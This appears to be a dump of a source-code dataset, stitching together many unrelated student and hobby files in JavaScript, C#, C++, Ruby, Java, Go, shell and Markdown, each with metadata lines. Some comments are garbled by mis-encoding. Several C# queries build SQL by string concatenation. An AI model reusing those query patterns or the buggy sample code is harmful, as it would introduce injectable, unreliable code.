CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
JavaScript
UTF-8
613
2.609375
3
[]
no_license
'use strict' const ResultSchema = (data) => { let newResult = { } newResult.resultId = String(data.resultId) // String newResult.surveyId = String(data.surveyId) // String newResult.user = String(data.user) // String newResult.date = new Date().toISOString() // String Date newResult.dimension = [...data.dimension] // Array newResult.direction = [...data.direction] // Array newResult.ans = [...data.ans] // Array newResult.result = "" // String return newResult } module.exports = ResultSchema;
C#
UTF-8
1,268
3.5625
4
[]
no_license
using System.Collections.Generic; namespace OOP_Lab_5.Core.Memento { /// <summary> /// Represents storage of matrixes that can be used to restore and backup matrixes. /// Implements memento pattern. /// </summary> public class MatrixHistory { /// <summary> /// History of matrix changes. /// </summary> private Stack<IMatrixMemento> _history = new Stack<IMatrixMemento>(); /// <summary> /// Encapsulated matrix. /// </summary> public Matrix Matrix { get; set; } /// <summary> /// Constructs MatrixHistory instance. /// </summary> /// <param name="matrix">Matrix to be encapsulated</param> public MatrixHistory(Matrix matrix) { Matrix = matrix; } /// <summary> /// Backups matrix data to the storage. /// </summary> public void Backup() { _history.Push(Matrix.Save()); } /// <summary> /// Restore matrix data, undoes to the last backup. /// </summary> public void Undo() { if (_history.Count == 0) return; Matrix.Restore(_history.Pop()); } } }
C++
UTF-8
655
3.46875
3
[]
no_license
#include <iostream> #include <sstream> #include <string> using namespace std; class Herp { string internal; public: const Herp& operator=(const string& s) { cout<<"Standard initialize operator\n"; internal = s; return *this; } const Herp& operator=(string&& s) { cout<<"Move initialize operator\n"; internal = s; return *this; } }; int main() { Herp a; stringstream ss; ss<<string("abcdef"); a = ss.str(); cout <<"ss: " << ss.str() << endl; cout << ss << endl; cout << &a << endl; return 0; }
JavaScript
UTF-8
481
2.8125
3
[ "MIT" ]
permissive
import dayJs from 'dayjs' import numeral from 'numeral' /** * 格式化时间 * @param date * @param format * @returns {string} */ export const dateFormat = (date, format = 'YYYY-MM-DD HH:mm:ss') => { if (!date) return '' return dayJs(date).format(format) } /** * 格式化数字 * @param number * @param format * @returns {string} */ export const numberFormat = (number, format = '0,00.00') => { if (!number) return '0' return numeral(number).format(format) }
Ruby
UTF-8
1,324
3.53125
4
[]
no_license
require 'pry' module Players class Computer < Player def defence(board) combos = [ ['1', '2', '3'], ['4', '5', '6'], ['7', '8', '9'], ['1', '4', '7'], ['2', '5', '8'], ['3', '6', '9'], ['1', '5', '9'], ['3', '5', '7'] ] index = "" if self.token == "X" enemy_token = "O" else enemy_token = "X" end combos.each do |c| if (board.cells[(c[0].to_i)-1] == enemy_token) && (board.cells[(c[1].to_i)-1] == enemy_token) && board.valid_move?(c[2]) index = c[2] elsif (board.cells[(c[1].to_i)-1] == enemy_token) && (board.cells[(c[2].to_i)-1] == enemy_token) && board.valid_move?(c[0]) index = c[0] elsif (board.cells[(c[0].to_i)-1] == enemy_token) && (board.cells[(c[2].to_i)-1] == enemy_token) && board.valid_move?(c[1]) index = c[1] end end # binding.pry return index end def move(board) if board.valid_move?("5") index = "5" index elsif defence(board) != "" defence(board) else array = ["1", "2", "3", "4", "5", "6", "7", "8", "9"] index = array.sample index if board.valid_move?(index) end end end end
Java
UTF-8
1,585
1.960938
2
[]
no_license
package tn.esprit.CRmapp.presentation.mbeans; import javax.ejb.EJB; import javax.faces.application.FacesMessage; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; import javax.faces.context.FacesContext; import tn.esprit.CRmapp.entities.Admin; import tn.esprit.CRmapp.services.adminService; @ManagedBean @SessionScoped public class LoginBean { private String login; private String password; private Admin admin; private boolean logged; private boolean cred; public String getLogin() { return login; } public void setLogin(String login) { this.login = login; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } public boolean isLogged() { return logged; } public void setLogged(boolean logged) { this.logged = logged; } public boolean isCred() { return cred; } public void setCred(boolean cred) { this.cred = cred; } @EJB adminService adminserverice; public String Logg(){ String navigateTo="null"; cred=adminserverice.authentifier(login, password); if (cred==true){ navigateTo="ClientList?faces-redirect=true"; logged=true; } else{ FacesContext.getCurrentInstance().addMessage("form:btn",new FacesMessage("bad credentials")); } return navigateTo; } public String logout(){ FacesContext.getCurrentInstance().getExternalContext().invalidateSession(); return "login?faces-redirect=true"; } }
Java
UTF-8
2,461
3.234375
3
[]
no_license
@SuppressWarnings("unchecked") public class LinkedList<E> implements Queue<E> , List<E>{ private E[] array; private int capacity,size; public LinkedList(){ size = 0 ; capacity =1; array = (E[]) new Object[capacity]; } public ignore iterator(){ ignore<E> a = new ignore<E>(array); return a; } public boolean add(E e){ if(size < capacity){ array[size] = e; size++; return true; } return false; } public void addAll(Collection c){ for(int i =0; i < c.size();i++){ add((E)c.get(i)); } } public void clear(){ array = (E[])new Object[capacity]; size = 0; } public boolean contains(E e){ for(int i = 0 ; i < array.length; i++){ if(array[i] == e){ return true; } } return false; } public boolean containsAll(Collection c){ E[] a = (E[])new Object[c.size()]; for(int i = 0 ; i < a.length;i++){ a[i] = (E)c.get(i); } for(E e : a){ if(!contains(e)){ return false; } } return true; } public boolean isEmpty(){return size == 0;} public void remove(E e){ if(!contains(e)){ System.out.println("the element is not found"); } else{ E[] temp_arr =(E[]) new Object[array.length-1]; int j = 0; for(int i = 0 ; i < array.length ; i++){ if(array[i]!= e){ temp_arr[j++] = array[i]; } } array = (E[]) new Object[temp_arr.length]; for(int i = 0 ; i < temp_arr.length ; i++){ array[i] = temp_arr[i]; } } } public void removeAll(Collection c){ ignore it = c.iterator(); while (it.hasNext()) { remove((E)it.next()); } } public void retainAll(Collection c){ boolean check ; for(int i = 0 ; i < size();i++){ ignore<E> it = c.iterator(); check = false; while(it.hasNext()){ if(it.next() == array[i]){ check = true; } } if(!check){ remove(array[i]); i--; } } } public int size(){return size;} public E get(int index){return array[index];} public boolean offer(E e){ if(size < capacity){ add(e); return true; } return false; } public E poll(){ if(!isEmpty()){ E e = array[0]; remove(array[0]); return e; } return null; } public Object toArray(){ Object[] temp = new Object[array.length]; for(int i = 0 ; i < array.length;i++){ temp[i] =(Object)array[i]; } return temp; } public int indexOf(Object o){ for(int i = 0 ; i < array.length;i++){ if(array[i] == o){ return i; } } return -1; } }
JavaScript
UTF-8
705
3.546875
4
[]
no_license
//Debemos lograr mostrar un mensaje al presionar el botón 'MOSTRAR'. function Mostrar() { var maximo; var minimo; var importe; var contador=0; while (contador < 7) { importe = prompt ("Ingrese importe de ventas"); importe = parseInt (importe); while (importe <= 0 || isNaN (importe)) { importe = prompt ("Ingrese nuevamente el importe"); importe = parseInt (importe); } if (contador == 0) { maximo = importe; minimo = importe; } else { if (importe < minimo) { minimo = importe; } if (importe > maximo) { maximo = importe; } } contador++; } alert ("El mayor importe es : " + maximo + " y el importe menor es : " + minimo); }
Markdown
UTF-8
965
2.796875
3
[]
no_license
--- title: "DoesNodeExist" linktitle: "DoesNodeExist" weight: 2 aliases: - /TA_Automation/Topics/abt_DoesNodeExist_17.html keywords: "doesnodeexist, abttree doesnodeexist, node exists, existence of node in tree, tree node is found" --- ## Syntax `Boolean DoesNodeExist(string nodepath)` ## Description Determine whether a specified tree node path exists. ## Parameters - **nodepath** String specifying node path. The node path may be specified as one of the following: - A string containing all node texts separated by forward slashes \( / \). - A string containing all node indexes separated by forward slashes \( / \). ## Return Value Return TRUE ifthe node path exists; otherwise, FALSE. **Parent topic:**[AbtTree](/TA_Automation/Topics/abt_AbtTree.html) **Previous topic:**[Collapse](/TA_Automation/Topics/abt_Collapse_17.html) **Next topic:**[DoesScrollBarExist](/TA_Automation/Topics/abt_DoesScrollBarExist_17.html)
Shell
UTF-8
794
3.46875
3
[]
no_license
#!/bin/bash find . -iname '*.C' > filelist find . -iname '*.cc' >> filelist find . -iname '*.h' >> filelist for file in `cat filelist`;do $CMSSW_BASE/src/flashgg/Validation/scripts/astyle --options=$CMSSW_BASE/src/flashgg/Validation/scripts/indent.ast $file -q; done find . -iname '*.orig' >> orig_filelist export changed_files=`wc -l orig_filelist | awk '{print $1}'` if [ $changed_files == 0 ] then echo "no files changed due to indentation" else echo "Your commit has $changed_files files failing indentation, please run Validation/scripts/flashgg_indent.sh before commit" cat orig_filelist | sed -e "s|.orig||g" echo "please run flashgg/Validation/scripts/flashgg_indent.sh before commit" echo rm orig_filelist filelist exit 1 fi rm orig_filelist filelist
Java
UTF-8
332
2.3125
2
[]
no_license
package factory.edge; import java.util.List; import edge.SameMovieHyperEdge; import vertex.Vertex; public class SameMovieHyperEdgeFactory extends EdgeFactory { @Override public SameMovieHyperEdge createEdge(String label, List<Vertex> vertices, double weight) { return SameMovieHyperEdge.wrap(label, vertices, weight); } }
C++
GB18030
2,926
3.65625
4
[]
no_license
#include<iostream> using namespace std; // ////ռ:namespace {} //namespace Test{ // int a=10; // int b = 20; //} // //namespace Test1{ // int c = 30; // namespace Test2{ // int d = 40; // } //} ////ռʹ //using namespace Test1::Test2; //ָTest2Test1еijԱ,ᱨ //int main(){ // printf("%d ", Test::a); // cout << Test::a ; // return 0; //} // // //int ADD(int a = 1, int b = 1){ // return a + b; //} // //int SUB(int a, int b = 1){ // return a - b; //} // //int main(){ // int add = ADD(); // cout << add; // return 0; //} // //// //int ADD(int a, int b){ // return a + b; //} // //double ADD(double a, double b){ // return a+b; //} // //int main(){ // ADD(1, 2); // ADD(1.0, 2.0); // ADD('1','2'); //ûкƥĺе,᳢ܻԽвת,תɹ,תͽк // return 0; //} // ////ڷΧforѭ //void Test(){ // int array[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 0 }; // for (auto e : array){ // cout << e << endl; // } // return 0; //} // // ////ֵ:ŵ:ɶǿ,ĸòӰⲿʵ //// ȱ:Чʵ,ͨβθıʵ ////ֵ÷ʽ,βֻʵεһݿ,Ųͬڴռ //void Swap(int left, int right){ // int temp = left; // left = right; // right = temp; //} ////ַ:ŵ:Чʸ,ͨβθıⲿʵ //// ȱ:ȫ,ɶԲ //void Swap(int* left, int* right){ // int temp = *left; // *left = *right; // *right = temp; //} // ////ֵͨķʽ,𵽽 ////:Ѵڵһȡı,һַռ ////õͱõʵһ // //int main(){ // int a = 10; // // //ñڶʱʼ // int& ra = a; // // //һж // int& rra = a; // // //һһʵ,ʵ // int b = 20; // //int& ra = b; // // ra = 100; //a=100 // return 0; //} //// //int main(){ // const int a = 10; // //int& ra = a; //adz,ʱ // const int& ra = a; // // return 0; //} // ////õʹó // //void Swap(int& left, int& right){ // int temp = left; // left = right; // right = temp; //} //int main(){ // int a = 10; // int b = 20; // Swap(a, b); // // return 0; //} //Ϊֵ,һܷغջϵĿռ //ؽڲܺ int ret; int& ADD(int a, int b){ //return a + b; //dzõijʼֵΪֵ //int ret=(a + b); ret = a + b; return ret; } int main(){ int& ret = ADD(1, 2); ADD(3, 4); printf("%d", ret); //7 printf("%d", ret); //ֵ,7 return 0; }
C++
UTF-8
5,345
2.9375
3
[]
no_license
#include "hashingWithChains.h" hashingWithChains::hashingWithChains(int size) { hashTableSize = size; hashTable = new LinkedHashEntry[size]; curr = hashTable; for (int i = 0; i < size; i++) { hashTable[i].setKey(i); } } hashingWithChains::~hashingWithChains() { for (int i = 0; i < hashTableSize; i++) { LinkedHashEntry *curr = hashTable[i].getNext(); while (curr) { LinkedHashEntry *tmp; tmp = curr->next; delete curr; curr = tmp; } } delete[]hashTable; } int hashingWithChains::searchEntryAddress(int key, int hashTableSize) { return key % hashTableSize; } void hashingWithChains::addShape(paintConvexQuad *paintQuad) { int i = searchEntryAddress(paintQuad->quad->mark, hashTableSize); int cnt = hashTable[i].shapesCnt; if (hashTable[i].paintconvexQuad == NULL) hashTable[i].paintconvexQuad = paintQuad; else { curr = &hashTable[i]; while (curr->next) { curr = curr->next; cnt++; } cnt++; curr->next = new LinkedHashEntry(i, cnt, paintQuad); } } int hashingWithChains::enterKey() { int key; cout << "Введите идентификатор удаляемых фигур:\n" << "Если d1 < d2 - цифра 0\n" << "Если d1 > d2 - цифра 1\n" << "Если d1 = d2 - цифра 2" << endl; do { cin >> key; } while (key < 0 && key > 2); return key; } int hashingWithChains::enterNodeNumber() { int number; cout << "Введите номер удаляемой фигуры: " << endl; cin >> number; return number; } void hashingWithChains::deleteShape() { int key = enterKey(); //ключ - идентификатор объектов int hashTableCell = searchEntryAddress(key, hashTableSize); //поиск хеш-значения по ключу int cnt = enterNodeNumber(); paintConvexQuad *p = NULL; curr = &hashTable[hashTableCell]; LinkedHashEntry *tmp = curr; while (curr != NULL && (curr->shapesCnt != cnt || curr->paintconvexQuad == NULL)) { tmp = curr; curr = curr->next; } if (curr == NULL) { cout << "Нет фигуры с введенным номером!" << endl; return; } tmp->next = curr->next; while (tmp) { tmp = tmp->next; if(tmp!=NULL)tmp->shapesCnt--; } if(curr != &hashTable[hashTableCell]) delete curr; else { p = curr->paintconvexQuad; delete p; curr->paintconvexQuad = NULL; } curr = hashTable; } void hashingWithChains::showOneListElements(int key) { curr = &hashTable[key]; while (curr) { if (curr->paintconvexQuad == NULL) curr = curr->next; if (curr == NULL) return; cout << "Ключ таблицы: " << curr->key << endl << "Номер фигуры: " << curr->shapesCnt << endl << "Длина диагонали 1 выпуклого четырехугольника: " << curr->paintconvexQuad->quad->Get_diagonal1() << endl << "Длина диагонали 2 выпуклого четырехугольника: " << curr->paintconvexQuad->quad->Get_diagonal2() << endl << "Величина угла между диагоналями выпуклого четырехугольника: " << curr->paintconvexQuad->quad->Get_angle() << endl; curr = curr->next; } } void hashingWithChains::showAllTableElementsData() { int key; if (hashTable) { cout << "Вывод данных из хеш-таблицы" << endl; for (int i = 0; i < hashTableSize; i++) { key = searchEntryAddress(i, hashTableSize); showOneListElements(key); } } else cout << "Нет данных в хеш-таблице" << endl << "Нажмите Esc для возврата" << endl; } void hashingWithChains::saveDataInTableToFile() { ofstream fout("HashTable.txt"); for (int i = 0; i < hashTableSize; i++) { curr = &hashTable[i]; while (curr!=NULL) { if (curr->paintconvexQuad != NULL) { fout << curr->key << " " << curr->paintconvexQuad->quad->Get_diagonal1() << " " << curr->paintconvexQuad->quad->Get_diagonal2() << " " << curr->paintconvexQuad->quad->Get_angle() << "\n"; } curr = curr->next; } } } void hashingWithChains::readDataFromFileToTable() { double d1 = 0, d2 = 0, angle = 0; LinkedHashEntry *tmp = NULL; ifstream fin("HashTable.txt"); if (!fin.is_open()) throw 1; int key = 0; int shapesCnt = 0; int cnt = 0; while (fin.peek() != EOF) { fin >> key; fin >> d1; while (fin.peek() != '\n' && fin.peek() != EOF) { fin >> d2; fin >> angle; cnt++; curr = &hashTable[key]; while (curr->next != NULL) curr = curr->next; shapesCnt = curr->shapesCnt; if (curr->paintconvexQuad == NULL) curr->paintconvexQuad = new paintConvexQuad(); else if(curr->paintconvexQuad != NULL) { curr->next = new LinkedHashEntry(); curr->next->paintconvexQuad = new paintConvexQuad(); curr = curr->next; shapesCnt++; } curr->key = key; curr->shapesCnt = shapesCnt; curr->paintconvexQuad->quad->Set_diagonal1(d1); curr->paintconvexQuad->quad->Set_diagonal2(d2); curr->paintconvexQuad->quad->Set_angle(angle); curr->paintconvexQuad->quad->mark = key; if (curr->next != NULL) { while (curr->next) { curr = curr->next; curr->shapesCnt--; } } if (fin.peek() == EOF) cout << "Конец файла" << endl; } } fin.close(); }
C#
UTF-8
8,580
2.78125
3
[]
no_license
using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Linq; using System.Web; using UniversityManagementSystem.Models; namespace UniversityManagementSystem.DAL { public class TeacherGateway:CommonGateway { //public bool IsEmailExists(string teacherEmail) //{ // Query = "SELECT * FROM Teachers WHERE TeacherEmail = '" + teacherEmail + "'"; // Command = new SqlCommand(Query, Connection); // Connection.Open(); // SqlDataReader reader = Command.ExecuteReader(); // bool isEmailExists = reader.HasRows; // Connection.Close(); // return isEmailExists; //} public int SaveTeacher(Teacher teacher) { Query = "INSERT INTO Teachers(TeacherName,TeacherAddress,TeacherEmail,TeacherContactNo,TeacherDesignationId,TeacherDepartmentId,CreditToBeTaken,RemainingCredit) VALUES(@TeacherName,@TeacherAddress,@TeacherEmail,@TeacherContactNo,@TeacherDesignationId,@TeacherDepartmentId,@CreditToBeTaken,@RemainingCredit)"; Command = new SqlCommand(Query, Connection); Command.Parameters.Clear(); Command.Parameters.Add("TeacherName", SqlDbType.VarChar); Command.Parameters["TeacherName"].Value = teacher.TeacherName; Command.Parameters.Add("TeacherAddress", SqlDbType.VarChar); Command.Parameters["TeacherAddress"].Value = teacher.TeacherAddress; Command.Parameters.Add("TeacherEmail", SqlDbType.VarChar); Command.Parameters["TeacherEmail"].Value = teacher.TeacherEmail; Command.Parameters.Add("TeacherContactNo", SqlDbType.VarChar); Command.Parameters["TeacherContactNo"].Value = teacher.TeacherContactNo; Command.Parameters.Add("TeacherDesignationId", SqlDbType.Int); Command.Parameters["TeacherDesignationId"].Value = teacher.TeacherDesignationId; Command.Parameters.Add("TeacherDepartmentId", SqlDbType.Int); Command.Parameters["TeacherDepartmentId"].Value = teacher.TeacherDepartmentId; Command.Parameters.Add("CreditToBeTaken", SqlDbType.Decimal); Command.Parameters["CreditToBeTaken"].Value = teacher.CreditToBeTaken; Command.Parameters.Add("RemainingCredit", SqlDbType.Decimal); Command.Parameters["RemainingCredit"].Value = teacher.CreditToBeTaken; Connection.Open(); int rowsAffected = Command.ExecuteNonQuery(); Connection.Close(); return rowsAffected; } public List<Teacher> GetAllTeachers() { Query = "SELECT *FROM Teachers ORDER BY TeacherName ASC"; Command = new SqlCommand(Query, Connection); Connection.Open(); SqlDataReader reader = Command.ExecuteReader(); List<Teacher> teachers = new List<Teacher>(); if (reader.HasRows) { while (reader.Read()) { Teacher teacher = new Teacher(); teacher.TeacherId = int.Parse(reader["TeacherId"].ToString()); teacher.TeacherName = reader["TeacherName"].ToString(); teacher.TeacherAddress = reader["TeacherAddress"].ToString(); teacher.TeacherEmail = reader["TeacherEmail"].ToString(); teacher.TeacherContactNo = reader["TeacherContactNo"].ToString(); teacher.TeacherDesignationId = int.Parse(reader["TeacherDesignationId"].ToString()); teacher.TeacherDepartmentId = int.Parse(reader["TeacherDepartmentId"].ToString()); teacher.CreditToBeTaken = double.Parse(reader["CreditToBeTaken"].ToString()); teacher.RemainingCredit = double.Parse(reader["RemainingCredit"].ToString()); teachers.Add(teacher); } reader.Close(); } Connection.Close(); return teachers; } public List<Designation> GetAllDesignations() { Query = "SELECT * FROM Designations"; Command = new SqlCommand(Query, Connection); Connection.Open(); SqlDataReader reader = Command.ExecuteReader(); List<Designation> designations = new List<Designation>(); if (reader.HasRows) { while (reader.Read()) { Designation designation = new Designation(); designation.DesignationId = int.Parse(reader["DesignationId"].ToString()); designation.DesignationName = reader["DesignationName"].ToString(); designations.Add(designation); } reader.Close(); } Connection.Close(); return designations; } //public Teacher GetTeacherDetails(int teacherId) //{ // Query = "SELECT *FROM Teachers WHERE TeacherId=" + teacherId; // Command = new SqlCommand(Query, Connection); // Connection.Open(); // SqlDataReader reader = Command.ExecuteReader(); // Teacher teacher = new Teacher(); // if (reader.HasRows) // { // reader.Read(); // teacher.TeacherId = int.Parse(reader["TeacherId"].ToString()); // teacher.TeacherName = reader["TeacherName"].ToString(); // teacher.TeacherAddress = reader["TeacherAddress"].ToString(); // teacher.TeacherEmail = reader["TeacherEmail"].ToString(); // teacher.TeacherContactNo = reader["TeacherContactNo"].ToString(); // teacher.TeacherDesignationId = int.Parse(reader["TeacherDesignationId"].ToString()); // teacher.TeacherDepartmentId = int.Parse(reader["TeacherDepartmentId"].ToString()); // teacher.CreditToBeTaken = double.Parse(reader["CreditToBeTaken"].ToString()); // teacher.RemainingCredit = double.Parse(reader["RemainingCredit"].ToString()); // reader.Close(); // } // Connection.Close(); // return teacher; //} public int AssignCourse(Teacher teacher, Course course) { if (UpdateTeacher(teacher) == 1 && UpdateCourseStatus(teacher, course) == 1) return 2; else return 0; } public int UpdateTeacher(Teacher teacher) { Query = "UPDATE Teachers SET RemainingCredit=" + teacher.RemainingCredit + "" + " WHERE TeacherId=" + teacher.TeacherId; Command = new SqlCommand(Query, Connection); Connection.Open(); int rowsAffected = Command.ExecuteNonQuery(); Connection.Close(); return rowsAffected; } public int UpdateAllTeacher() { List<Teacher> teachers = GetAllTeachers(); int rowsAffected = 0; foreach (Teacher teacher in teachers) { Query = "UPDATE Teachers SET RemainingCredit=" + teacher.CreditToBeTaken + "" + " WHERE TeacherId=" + teacher.TeacherId; Command = new SqlCommand(Query, Connection); Connection.Open(); rowsAffected += Command.ExecuteNonQuery(); Connection.Close(); } return rowsAffected; } public int UpdateCourseStatus(Teacher teacher, Course course) { Query = "UPDATE CourseStatics SET CourseStatusTeacherName='" + teacher.TeacherName + "'" + ",CourseStatusIsAssigned='YES' WHERE CourseStatusCourseCode='" + course.CourseCode + "'" + " AND CourseStatusDepartmentId=" + course.CourseDepartmentId; Command = new SqlCommand(Query, Connection); Connection.Open(); int rowsAffected = Command.ExecuteNonQuery(); Connection.Close(); return rowsAffected; } //public bool IsCourseAssign(string courseCode) //{ // Query = "SELECT *FROM CourseStatics WHERE CourseStatusCourseCode='" + courseCode + "' AND CourseStatusIsAssigned='"+"YES"+"'"; // Command = new SqlCommand(Query, Connection); // Connection.Open(); // SqlDataReader reader = Command.ExecuteReader(); // bool isCourseAssign = reader.HasRows; // Connection.Close(); // return isCourseAssign; //} } }
JavaScript
UTF-8
436
2.515625
3
[]
no_license
const arrow = document.querySelectorAll('.arrow'); const hamburger = document.querySelector('.hamburger'); if (window.innerWidth < 760) { arrow.forEach(e => e.innerHTML = '<svg xmlns="http://www.w3.org/2000/svg" width="10" height="7"><path fill="none" stroke="#FF7B86" stroke-width="2" d="M1 1l4 4 4-4"/></svg>') hamburger.addEventListener('click', () => { document.querySelector('.links').classList.toggle('open'); }); }
Java
UTF-8
709
2.09375
2
[]
no_license
package no.systema.jservices.common.dao.services; import java.util.HashMap; import java.util.Map; import no.systema.jservices.common.dao.Cum3lmDao; public class Cum3lmDaoServiceImpl extends GenericDaoServiceImpl<Cum3lmDao> implements Cum3lmDaoService{ private String firmaColumnName = "m3firm"; @Override public boolean exist(Object id) { return existInFirma(id, firmaColumnName); } @Override public Cum3lmDao find(Object id) { return findInFirma(id,firmaColumnName); } @Override public void deleteAll(String m3firm, String m3kund) { Map<String, Object> params = new HashMap<String, Object>(); params.put("m3firm", m3firm); params.put("m3kund", m3kund); deleteAll(params); } }
Go
UTF-8
2,403
2.703125
3
[ "Apache-2.0" ]
permissive
// Copyright (c) 2021 Terminus, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package dlock //import ( // "context" // "fmt" // "testing" // "time" // // "github.com/stretchr/testify/assert" //) // //func TestCancel(t *testing.T) { // l1, err := New("dlock-testcancel", func() {}, WithTTL(5)) // assert.Nil(t, err) // l2, err := New("dlock-testcancel", func() {}) // assert.Nil(t, err) // ctx, cancel := context.WithCancel(context.Background()) // // go func() { // time.Sleep(1 * time.Second) // cancel() // }() // // ch := make(chan struct{}) // ch2 := make(chan struct{}) // go func() { // ti := time.NewTimer(2 * time.Second) // select { // case <-ch: // fine // ch2 <- struct{}{} // case <-ti.C: // assert.Nil(t, 1) // ch2 <- struct{}{} // } // }() // // l1.Lock(context.Background()) // l2.Lock(ctx) // ch <- struct{}{} // <-ch2 // l1.Unlock() // l2.Unlock() //} // //func TestMultiLock(t *testing.T) { // l, err := New("dlock-multilock", func() {}) // assert.Nil(t, err) // l.Lock(context.Background()) // l.Lock(context.Background()) // l.Lock(context.Background()) // l.Lock(context.Background()) // b, err := l.IsOwner() // assert.Nil(t, err) // assert.True(t, b) // l.Unlock() // b, err = l.IsOwner() // assert.Nil(t, err) // assert.False(t, b) //} // //func TestLostLock(t *testing.T) { // l, err := New("dlock-lost-key", func() { fmt.Println("dlock lost") }, WithTTL(5)) // assert.NoError(t, err) // err = l.Lock(context.Background()) // assert.NoError(t, err) // time.Sleep(time.Second * 20) // // stop etcd to test dlock lost // // will print "dlock lost" //} // //func TestDLock_UnlockAndClose(t *testing.T) { // l, err := New("my-test-dlock", func() { fmt.Println("should not print these") }, WithTTL(5)) // assert.NoError(t, err) // err = l.Lock(context.Background()) // assert.NoError(t, err) // defer l.UnlockAndClose() // // will not lost dlock //}
Markdown
UTF-8
473
2.65625
3
[]
no_license
# plotly_deploy In this project **Plotly.js**, a **JavaScript** data visualization library, is deployed to create an interactive data visualization for the web. This data visualization consists of bar, bubble and gauge charts. **D3.json()** was used to fetch external data,and JavaScript functional programming to manipulate this data. **Bootstrap** and **CSS** were used to refine the aesthetic of the page. Please visit > https://iliarafa.github.io/plotly_deploy/
Java
UTF-8
592
3.46875
3
[]
no_license
package oop.abst; interface Test{ public void play(); public void run(); } class Child extends AbstractTest { // @Override // public void play() { // // } @Override public void run() { } } public abstract class AbstractTest implements Test { AbstractTest() { System.out.println("abstract 클래스로는 메모리를 생성할 수 없지만,"+ "기본생성자는 만들 수 있다."); } public final void play() { System.out.println("놀자"); } public static void main(String[] args) { AbstractTest at = new Child(); at.play(); } }
Markdown
UTF-8
3,933
3
3
[]
no_license
# CSS Week Five Independent Project _*Epicodus CSS Capstone Independent Project*_ _*Project Name: Kerr Calendar*_ _*Project Author: Suzi Rubino*_ ##Project’s Purpose or Goal: A small client of mine, Kerr Contractors, a local heavy civil engineering firm, is in the process of preparing to hand over leadership and/or ownership. They have been updating their website, collateral and brand messaging. Each year, as a client gift, I've created custom calendars on 13” x 19” photo paper. This year they have asked for 20 and want to pay a premium for them. The calendars incorporate a mission statement logo I developed and images taken by one of their founders (an amateur photographer). The goal of this project is to supply them with a similar web version of this calendar, that can also be edited and printed out. Although there are many excellent calendar applications out there, this functionality will serve as a “note to self” for current, timely events. It will also remind this client that I have updated my skills and can help them with web projects. The main client contact is also the photographer and IT specialist so this may be a good way to get real world, corporate experience with small-scale server/front-end applications. The first stage of this project is design only, to show client and see if he is interested in taking it further. ###This project, if fully completed, would include: 1. Full-year calendar with client provided images as background which also incorporates logo and mission logo 2. Event/Holiday notification 3. Area for client to add their own events. 4. Responsive full-page monthly calendar with company brand imagery 5. Current date highlighted 6. Date, time and event notification at bottom of page 7. Sample of calendar like this here: https://codepen.io/adriancarayol/pen/yyVNqW ###List the absolute minimum features _*(Minimum Viable Product)*_ the project requires to meet this purpose or goal: - [x] 12 month calendar with client images and logo - [x] Responsive date grid and images - [x] Animation when grid box clicked on to hide background-color - [x] Static header and footer that allow horizontal scrolling through months ###Tools, frameworks, libraries and other resources used to create MVP: - SASS - css preprocessor - CSS libraries: Bourbon/neat and refill components - Fonts and font libraries: Material Icons, Google Fonts, Font Squirrel, webfont kits for client brand font (officina serif) - Javascript library: JQuery - Adobe Illustrator - Adobe Photoshop ###If MVP finished what will be developed next in descending order of importance: - [ ] Start work on today's date javascript functionality - [ ] Create functionality for storing event ###What additional tools, frameworks, libraries, APIs, or other resources will these additional features require? - More knowledge of Javascipt and server side storing capabilities #####This and previous project links * [Visit my gh-page for CSS Independent Project #4](https://rawgit.com/suzirubi/kerrWebCalendar/master/index.html) * [Visit my gh-page for CSS Independent Project #3](https://rawgit.com/suzirubi/tarot/master/index.html) * [Visit my gh-page for CSS Independent Project #2](https://rawgit.com/suzirubi/thinkGoogle/master/index.html) * [Visit my gh-page for CSS Independent Project #1](https://rawgit.com/suzirubi/climbing/master/index.html) * [Visit my gh page for Introduction to Programing Independent Project #4](https://rawgit.com/suzirubi/pizza/master/index.html) * [Visit my gh page for Introduction to Programing Independent Project #3](https://rawgit.com/suzirubi/ping-pong/master/index.html) * [Visit my gh page for Introduction to Programing Independent Project #2](https://rawgit.com/suzirubi/Independent-Project-Week-2/master/index.html) * [Visit my gh page for Introduction to Programing Independent Project #1](https://rawgit.com/suzirubi/portfolioFix/master/index.html)
JavaScript
UTF-8
5,107
4.625
5
[]
no_license
// Function // - fundamental building block in the program // - subprogram can be used multiple times // - performs a task or calculates a value // 1. Function declaration // function name(param1, param2) { body... return; } // one function == one thing 하나의 함수는 한가지 일만 하도록! // naming: doSomething, command, verb // e.g. createCardAndPoint -> createdCard, createPoint // function is object in JS * // JS에서 함수는 object이기 때문에 '함수.'을하면 함수의 속성들을 확인 할수 있다. function printHello() { console.log('Hello'); } printHello(); function log(message) { console.log(message) } log('Hello@'); log(1234); // 2. Parameters // premitive parameters: passed by value // object parameters: passed by reference function changeName(obj) { obj.name = 'coder'; } const ellie = { name: 'ellie' }; changeName(ellie); console.log(ellie); // 3. Default parameters (added in ES6) // 함수에서 파라메터의 값을 입력하지 않았을때 대체할 값을 넣는 기능 function showMessage(message, from = 'unknown') { console.log(`${message} by ${from}`); } showMessage('Hi!'); // 4. Rest parameters (added in ES6) // ... => 배열형태로 전달됨 function printAll(...args) { for (let i = 0; i < args.length; i++) { console.log(args[i]); } // args에 있는 값이 arg로 차례차례 출력되는 것 for (const arg of args) { console.log(arg); } args.forEach((arg) => console.log(arg)); } printAll('dream', 'coding', 'ellie'); // 5. Local scope // 밖에서는 안이 보이지 않고, 안에서만 밖을 볼수있다. let globalMessage = 'global'; // global variable function printMessage() { let message = 'hello'; console.log(message); // local variable 지역변수 console.log(globalMessage); function printAnother() { console.log(message); let childMessage = 'hello'; } //console.log(childMessage); // error } printMessage(); //console.log(message); // error // 6. Return a value // return이 없는 함수는 return undefined; 가 생략되어 있다고 생각하자. function sum(a, b) { return a+b; } const result = 